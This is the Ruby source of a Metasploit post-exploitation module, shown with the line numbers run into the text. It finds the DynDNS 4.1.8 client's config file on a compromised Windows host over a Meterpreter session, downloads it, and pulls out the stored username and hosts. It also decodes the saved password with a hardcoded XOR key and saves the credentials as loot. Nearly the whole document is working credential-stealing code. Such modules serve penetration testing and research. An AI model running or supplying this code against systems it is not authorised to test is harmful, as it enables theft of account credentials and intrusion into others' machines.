Path: blob/master/modules/post/windows/gather/credentials/dyndns.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather DynDNS Client Password Extractor',14'Description' => %q{15This module extracts the username, password, and hosts for DynDNS version 4.1.8.16This is done by downloading the config.dyndns file from the victim machine, and then17automatically decode the password field. The original copy of the config file is also18saved to disk.19},20'License' => MSF_LICENSE,21'Author' => [22'Shubham Dawra <shubham2dawra[at]gmail.com>', # SecurityXploded.com23'sinn3r', # Lots of code rewrite24],25'Platform' => [ 'win' ],26'SessionTypes' => [ 'meterpreter' ],27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [],30'Reliability' => []31},32'Compat' => {33'Meterpreter' => {34'Commands' => %w[35core_channel_eof36core_channel_open37core_channel_read38core_channel_write39stdapi_fs_stat40]41}42}43)44)45end4647#48# Search for the config file.49# Return the config file path, otherwise nil to indicate nothing was found50#51def get_config_file52config_paths = [53'C:\\ProgramData\\Dyn\\Updater\\config.dyndns', # Vista54'C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\config.dyndns' # XP and earlier55]5657# Return the first match58config_paths.each do |path|59return path if exists?(path)60end6162nil63rescue StandardError64nil65end6667#68# Download the config file, and then load it up in memory.69# Return the content.70#71def load_config_file(config_file)72f = session.fs.file.new(config_file, 'rb')73content = ''74content << f.read until f.eof?75p = store_loot('dyndns.raw', 'text/plain', session, 'dyndns_raw_config.dyndns')76vprint_good("Raw config file saved: #{p}")77return content78end7980#81# Parse the data82# Return: Hash { :username, :pass, :hosts }83#84def parse_config(content)85# Look at each line for user/pass/host86user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]87pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]88host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]8990# Let's decode the pass91pass = decode_password(pass) if !pass.nil?9293# Store data in a hash, save it to the array94# Might contain nil if nothing was regexed95config_data = {96user: user,97pass: pass,98hosts: host99}100101return config_data102end103104#105# Decode the password106#107def decode_password(pass)108pass = [pass].pack('H*')109s = ''110c = 0111112pass.each_byte do |a1|113a2 = 't6KzXhCh'[c, 1].unpack('c')[0].to_i114s << (a1 ^ a2).chr115c = ((c + 1) % 8)116end117118return s119end120121#122# Print results and storeloot123#124def do_report(data)125tbl = Rex::Text::Table.new(126'Header' => 'DynDNS Client Data',127'Indent' => 1,128'Columns' => ['Field', 'Value']129)130131creds = Rex::Text::Table.new(132'Header' => 'DynDNS Credentials',133'Indent' => 1,134'Columns' => ['User', 'Password']135)136137# Store username/password138cred << [data[:user], data[:pass]]139140if !creds.rows.empty?141p = store_loot(142'dyndns.creds',143'text/csv',144session,145creds.to_csv,146'dyndns_creds.csv',147'DynDNS Credentials'148)149print_status("Parsed creds stored in: #{p}")150end151152# Store all found hosts153hosts = data[:hosts]154hosts.each do |host|155tbl << ['Host', host]156end157158print_status(tbl.to_s)159160if !tbl.rows.empty?161p = store_loot(162'dyndns.data',163'text/plain',164session,165tbl.to_csv,166'dyndns_data.csv',167'DynDNS Client Data'168)169print_status("Parsed data stored in: #{p}")170end171end172173#174# Main function, duh175#176def run177# Find the config file178config_file = get_config_file179if config_file.nil?180print_error('No config file found, will not continue')181return182end183184# Load the config file185print_status('Downloading config.dyndns...')186content = load_config_file(config_file)187188if content.empty?189print_error('Config file seems empty, will not continue')190return191end192193# Get parsed data194config = parse_config(content)195196# Store data197do_report(config)198end199end200201202